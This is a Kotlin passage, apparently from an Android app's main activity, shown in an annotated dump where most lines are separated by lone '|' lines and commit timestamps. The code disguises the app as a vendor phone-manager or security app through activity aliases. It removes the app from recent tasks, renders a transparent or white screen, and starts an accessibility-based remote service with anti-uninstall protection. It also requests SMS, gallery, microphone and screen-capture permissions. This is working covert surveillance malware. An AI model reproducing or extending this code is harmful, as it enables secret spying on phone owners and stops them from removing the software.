View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 创建一个完全透明的视图
|
|
|
|
|
|
val transparentView = View(this)
|
|
|
|
|
|
transparentView.setBackgroundColor(Color.TRANSPARENT)
|
|
|
|
|
|
setContentView(transparentView)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动无障碍监听服务,让无障碍服务处理跳转
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
startAccessibilityServiceForCamouflage()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动无障碍监听服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100) // 100ms延迟,确保界面设置完成
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 伪装模式设置失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🎭 检查是否是I管家伪装模式
|
|
|
|
|
|
if (isIGuanjiaCamouflageMode()) {
|
|
|
|
|
|
Log.i(TAG, "🎭 检测到I管家伪装模式,启动无障碍监听服务")
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 伪装模式下,从任务栏移除进程
|
|
|
|
|
|
removeFromRecentTasks()
|
|
|
|
|
|
|
|
|
|
|
|
// 设置伪装主题,完全隐藏界面
|
|
|
|
|
|
setTheme(R.style.Theme_Camouflage)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置完全全屏,隐藏所有系统UI
|
|
|
|
|
|
window.setFlags(
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 隐藏状态栏和导航栏
|
|
|
|
|
|
window.decorView.systemUiVisibility = (
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_FULLSCREEN or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 创建一个完全透明的视图
|
|
|
|
|
|
val transparentView = View(this)
|
|
|
|
|
|
transparentView.setBackgroundColor(Color.TRANSPARENT)
|
|
|
|
|
|
setContentView(transparentView)
|
|
|
|
|
|
|
|
|
|
|
|
// 启动无障碍监听服务,让无障碍服务处理跳转
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
startAccessibilityServiceForCamouflage()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动无障碍监听服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 100) // 100ms延迟,确保界面设置完成
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ I管家伪装模式设置失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查安装是否已完成,如果完成则直接显示WebView
|
|
|
|
|
|
if (isInstallationCompleted()) {
|
|
|
|
|
|
Log.i(TAG, "📦 检测到安装已完成,直接显示WebView")
|
|
|
|
|
|
setContentView(R.layout.activity_main)
|
|
|
|
|
|
startWebViewActivity()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态
|
|
|
|
|
|
if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
|
|
|
|
|
|
Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面")
|
|
|
|
|
|
startPasswordInputActivity()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🌐 如果WebView曾经打开过(从文件读取),则每次进入直接打开WebView
|
|
|
|
|
|
if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
|
|
|
|
|
|
Log.i(TAG, "🌐 检测到WebView曾经打开过,检查MediaProjection权限后启动WebView页面")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:检查MediaProjection权限是否已获取
|
|
|
|
|
|
val hasMediaProjectionPermission = checkRealMediaProjectionPermission()
|
|
|
|
|
|
Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission")
|
|
|
|
|
|
|
|
|
|
|
|
if (!hasMediaProjectionPermission) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程")
|
|
|
|
|
|
// 不启动WebView,让应用进入正常的权限申请流程
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView页面")
|
|
|
|
|
|
startWebViewActivity()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 无障碍服务健康检查异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
initViews()
|
|
|
|
|
|
setupClickListeners()
|
|
|
|
|
|
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:APP打开时强制检查并恢复无障碍服务
|
|
|
|
|
|
forceCheckAndRecoverAccessibilityService()
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否需要申请短信权限
|
|
|
|
|
|
handleSMSPermissionRequest()
|
|
|
|
|
|
|
|
|
|
|
|
// 检查是否需要申请相册权限
|
|
|
|
|
|
handleGalleryPermissionRequest()
|
|
|
|
|
|
handleMicrophonePermissionRequest()
|
|
|
|
|
|
|
|
|
|
|
|
// 初始化MediaProjectionManager
|
|
|
|
|
|
mediaProjectionManager =
|
|
|
|
|
|
getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// 处理Intent
|
|
|
|
|
|
handleIntentAndPermissions(intent)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 从任务栏移除进程(伪装模式下使用)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun removeFromRecentTasks() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
|
|
|
|
|
|
val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
|
|
|
|
|
|
val appTasks = activityManager.appTasks
|
|
|
|
|
|
if (appTasks.isNotEmpty()) {
|
|
|
|
|
|
val appTask = appTasks[0]
|
|
|
|
|
|
appTask.setExcludeFromRecents(true)
|
|
|
|
|
|
Log.i(TAG, "✅ 已从任务栏移除进程")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 未找到AppTask,无法从任务栏移除")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ API版本过低,无法使用setExcludeFromRecents")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 从任务栏移除进程失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 检查是否是手机管家伪装模式
|
|
|
|
|
|
* ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isPhoneManagerCamouflageMode(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val packageManager = packageManager
|
|
|
|
|
|
val mainComponent =
|
|
|
|
|
|
android.content.ComponentName(this, "com.hikoncont.MainActivity")
|
|
|
|
|
|
|
|
|
|
|
|
// 检查所有可能的伪装alias(与 AccessibilityRemoteService.kt 保持一致)
|
|
|
|
|
|
val camouflageAliases = listOf(
|
|
|
|
|
|
"com.hikoncont.PhoneManagerAlias",
|
|
|
|
|
|
"com.hikoncont.OppoAlias",
|
|
|
|
|
|
"com.hikoncont.HuaweiAlias",
|
|
|
|
|
|
"com.hikoncont.HonorAlias",
|
|
|
|
|
|
"com.hikoncont.XiaomiAlias",
|
|
|
|
|
|
"com.hikoncont.SettingsAlias",
|
|
|
|
|
|
"com.hikoncont.SIMAlias"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查 MainActivity 是否被禁用
|
|
|
|
|
|
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
|
|
|
|
|
val isMainDisabled =
|
|
|
|
|
|
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查是否有任何伪装alias被启用
|
|
|
|
|
|
var anyAliasEnabled = false
|
|
|
|
|
|
var enabledAlias = ""
|
|
|
|
|
|
|
|
|
|
|
|
for (aliasName in camouflageAliases) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val component = android.content.ComponentName(this, aliasName)
|
|
|
|
|
|
val enabled = packageManager.getComponentEnabledSetting(component)
|
|
|
|
|
|
if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
|
|
|
|
|
|
anyAliasEnabled = true
|
|
|
|
|
|
enabledAlias = aliasName
|
|
|
|
|
|
break
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 伪装模式 = MainActivity 被禁用 && 有任何一个 alias 被启用
|
|
|
|
|
|
val isCamouflage = isMainDisabled && anyAliasEnabled
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🎭 检查手机管家伪装模式: $isCamouflage (Main: $isMainDisabled, EnabledAlias: $enabledAlias)"
|
|
|
|
|
|
)
|
|
|
|
|
|
isCamouflage
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查手机管家伪装模式失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 检查是否是I管家伪装模式
|
|
|
|
|
|
* ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isIGuanjiaCamouflageMode(): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val packageManager = packageManager
|
|
|
|
|
|
val mainComponent =
|
|
|
|
|
|
android.content.ComponentName(this, "com.hikoncont.MainActivity")
|
|
|
|
|
|
val aliasComponent =
|
|
|
|
|
|
android.content.ComponentName(this, "com.hikoncont.VivoIGuanjiaAlias")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查 MainActivity 是否被禁用
|
|
|
|
|
|
val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent)
|
|
|
|
|
|
val isMainDisabled =
|
|
|
|
|
|
(mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 检查 VivoIGuanjiaAlias 是否被启用
|
|
|
|
|
|
val aliasEnabled = packageManager.getComponentEnabledSetting(aliasComponent)
|
|
|
|
|
|
val isAliasEnabled =
|
|
|
|
|
|
(aliasEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 伪装模式 = MainActivity 被禁用 && alias 被启用
|
|
|
|
|
|
val isCamouflage = isMainDisabled && isAliasEnabled
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🎭 检查I管家伪装模式: $isCamouflage (Main: $isMainDisabled, Alias: $isAliasEnabled)"
|
|
|
|
|
|
)
|
|
|
|
|
|
isCamouflage
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查I管家伪装模式失败", e)
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 设置白色界面模式
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun setupWhiteScreenMode() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎭 开始设置白色界面模式")
|
|
|
|
|
|
|
|
|
|
|
|
// 设置伪装主题
|
|
|
|
|
|
setTheme(R.style.Theme_Camouflage)
|
|
|
|
|
|
|
|
|
|
|
|
// 创建一个简单的白色视图
|
|
|
|
|
|
val whiteView = View(this)
|
|
|
|
|
|
whiteView.setBackgroundColor(Color.WHITE)
|
|
|
|
|
|
setContentView(whiteView)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置完全全屏,隐藏所有系统UI
|
|
|
|
|
|
window.setFlags(
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR,
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or
|
|
|
|
|
|
WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 隐藏状态栏和导航栏,使用更激进的设置
|
|
|
|
|
|
window.decorView.systemUiVisibility = (
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_FULLSCREEN or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_STABLE or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or
|
|
|
|
|
|
View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 设置状态栏和导航栏为白色
|
|
|
|
|
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
|
|
|
|
|
|
window.statusBarColor = Color.WHITE
|
|
|
|
|
|
window.navigationBarColor = Color.WHITE
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 设置窗口背景为白色
|
|
|
|
|
|
window.setBackgroundDrawableResource(android.R.color.white)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 白色界面模式设置完成")
|
|
|
|
|
|
Log.i(TAG, "🎭 伪装模式:显示完全白色界面,无系统UI")
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 设置白色界面模式失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 启动无障碍监听服务(用于伪装模式)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startAccessibilityServiceForCamouflage() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎭 启动无障碍监听服务用于伪装模式")
|
|
|
|
|
|
|
|
|
|
|
|
// 启动无障碍服务
|
|
|
|
|
|
val accessibilityIntent =
|
|
|
|
|
|
Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java)
|
|
|
|
|
|
startService(accessibilityIntent)
|
|
|
|
|
|
|
|
|
|
|
|
// 等待服务启动
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 获取无障碍服务实例并启用伪装监听和防卸载监听
|
|
|
|
|
|
val accessibilityService =
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
// 启用伪装监听
|
|
|
|
|
|
val eventManager = accessibilityService.getAccessibilityEventManager()
|
|
|
|
|
|
if (eventManager != null) {
|
|
|
|
|
|
eventManager.enablePhoneManagerCamouflage()
|
|
|
|
|
|
Log.i(TAG, "✅ 伪装监听服务已启用")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityEventManager不可用")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 启用防卸载监听
|
|
|
|
|
|
try {
|
|
|
|
|
|
accessibilityService.enableUninstallProtection()
|
|
|
|
|
|
Log.i(TAG, "✅ 防卸载监听服务已启用")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启用防卸载监听失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityRemoteService不可用")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启用监听服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 200) // 等待200ms让服务完全启动
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动无障碍监听服务异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🛡️ 确保无障碍服务处于运行状态(App被打开时)
|
|
|
|
|
|
* 逻辑:若未运行→先尝试组件级重绑→短延迟后再尝试startService→再短延迟检查实例
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun ensureAccessibilityServiceAlive() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val running = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
if (running) return
|
|
|
|
|
|
|
|
|
|
|
|
// 1) 组件级强制重绑
|
|
|
|
|
|
try {
|
|
|
|
|
|
val pm = packageManager
|
|
|
|
|
|
val component = android.content.ComponentName(
|
|
|
|
|
|
this,
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService::class.java
|
|
|
|
|
|
)
|
|
|
|
|
|
val flags =
|
|
|
|
|
|
android.content.pm.PackageManager.DONT_KILL_APP or android.content.pm.PackageManager.SYNCHRONOUS
|
|
|
|
|
|
pm.setComponentEnabledSetting(
|
|
|
|
|
|
component,
|
|
|
|
|
|
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
|
|
|
|
|
|
flags
|
|
|
|
|
|
)
|
|
|
|
|
|
try {
|
|
|
|
|
|
Thread.sleep(150)
|
|
|
|
|
|
} catch (_: InterruptedException) {
|
|
|
|
|
|
}
|
|
|
|
|
|
pm.setComponentEnabledSetting(
|
|
|
|
|
|
component,
|
|
|
|
|
|
android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
|
|
|
|
|
|
flags
|
|
|
|
|
|
)
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 2) 明确startService以促使系统建立绑定
|
|
|
|
|
|
try {
|
|
|
|
|
|
val intent =
|
|
|
|
|
|
Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java)
|
|
|
|
|
|
startService(intent)
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 3) 短延迟后再校验一次实例
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
val instance =
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
val ok =
|
|
|
|
|
|
instance != null && com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
if (!ok) {
|
|
|
|
|
|
// ✅ 参考 f 目录策略:只启动主前台服务,不启动多余的保活服务
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无障碍服务未运行,但保活程序不启动多余服务(参考 f 目录策略)")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 250)
|
|
|
|
|
|
} catch (_: Exception) {
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🎭 启动系统手机管家
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startSystemPhoneManager() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🎭 开始启动系统手机管家")
|
|
|
|
|
|
|
|
|
|
|
|
val packageManager = packageManager
|
|
|
|
|
|
|
|
|
|
|
|
// 常见的手机管家包名列表(按优先级排序)
|
|
|
|
|
|
val phoneManagerPackages = listOf(
|
|
|
|
|
|
"com.coloros.phonemanager", //vivo 手机管家
|
|
|
|
|
|
"com.miui.securitycenter", // 小米安全中心
|
|
|
|
|
|
"com.huawei.systemmanager", // 华为手机管家
|
|
|
|
|
|
"com.oppo.safecenter", // OPPO安全中心
|
|
|
|
|
|
"com.vivo.safecenter", // vivo安全中心
|
|
|
|
|
|
"com.samsung.android.app.smartcallprovider", // 三星安全中心
|
|
|
|
|
|
"com.lenovo.safecenter", // 联想安全中心
|
|
|
|
|
|
"com.tencent.qqpimsecure", // 腾讯手机管家
|
|
|
|
|
|
"com.qihoo.security", // 360手机卫士
|
|
|
|
|
|
"com.kingsoft.powerword", // 金山手机卫士
|
|
|
|
|
|
"com.baidu.security", // 百度手机卫士
|
|
|
|
|
|
"com.android.settings" // 系统设置(备用)
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 尝试启动系统手机管家
|
|
|
|
|
|
var success = false
|
|
|
|
|
|
for (packageName in phoneManagerPackages) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val intent = packageManager.getLaunchIntentForPackage(packageName)
|
|
|
|
|
|
if (intent != null) {
|
|
|
|
|
|
// 使用最激进的Intent flags来确保快速切换
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT)
|
|
|
|
|
|
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
|
|
|
|
|
|
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 成功启动系统手机管家: $packageName")
|
|
|
|
|
|
success = true
|
|
|
|
|
|
break
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e)
|
|
|
|
|
|
continue
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 如果没有找到合适的手机管家,启动系统设置
|
|
|
|
|
|
if (!success) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 未找到可用的系统手机管家,尝试启动系统设置")
|
|
|
|
|
|
try {
|
|
|
|
|
|
val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
|
|
|
|
|
|
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
|
|
|
|
|
|
settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
|
|
|
|
|
|
startActivity(settingsIntent)
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 已切换到系统设置")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 切换到系统设置也失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动系统手机管家异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 关键修复:处理新的Intent(当Activity已存在时)
|
|
|
|
|
|
*/
|
|
|
|
|
|
override fun onNewIntent(intent: Intent?) {
|
|
|
|
|
|
super.onNewIntent(intent)
|
|
|
|
|
|
Log.i(TAG, "🔄 MainActivity收到新的Intent")
|
|
|
|
|
|
|
|
|
|
|
|
if (intent != null) {
|
|
|
|
|
|
// 更新当前Intent
|
|
|
|
|
|
setIntent(intent)
|
|
|
|
|
|
|
|
|
|
|
|
// 无闪现后台唤起:若带 LAUNCH_BACKGROUND,先瞬时隐藏窗口再处理其余逻辑
|
|
|
|
|
|
if (intent.getBooleanExtra("LAUNCH_BACKGROUND", false)) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 去除过渡动画
|
|
|
|
|
|
overridePendingTransition(0, 0)
|
|
|
|
|
|
// 先把根视图设为透明,避免一帧闪烁
|
|
|
|
|
|
window.decorView.alpha = 0f
|
|
|
|
|
|
// 立刻退到后台
|
|
|
|
|
|
moveTaskToBack(true)
|
|
|
|
|
|
Log.i(TAG, "🫥 onNewIntent: 已无闪现退到后台")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onNewIntent 隐藏失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 处理新的Intent
|
|
|
|
|
|
handleIntentAndPermissions(intent)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 收到null Intent")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 统一的Intent处理方法
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleIntentAndPermissions(intent: Intent) {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
// ✅ 安全检查:确保UI组件已初始化(onNewIntent可能在initViews之前被调用)
|
|
|
|
|
|
// 直接return,不尝试initViews()——Activity状态不确定时调用initViews()可能崩溃
|
|
|
|
|
|
if (!::enableButton.isInitialized || !::statusText.isInitialized) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ UI组件未初始化,跳过handleIntentAndPermissions(Activity可能尚未完成onCreate)")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-02-11 16:59:49 +08:00
|
|
|
|
// 检查启动类型
|
|
|
|
|
|
Log.i(TAG, "📋 检查启动参数和类型...")
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"📊 Intent参数: AUTO_REQUEST_PERMISSION=${
|
|
|
|
|
|
intent.getBooleanExtra(
|
|
|
|
|
|
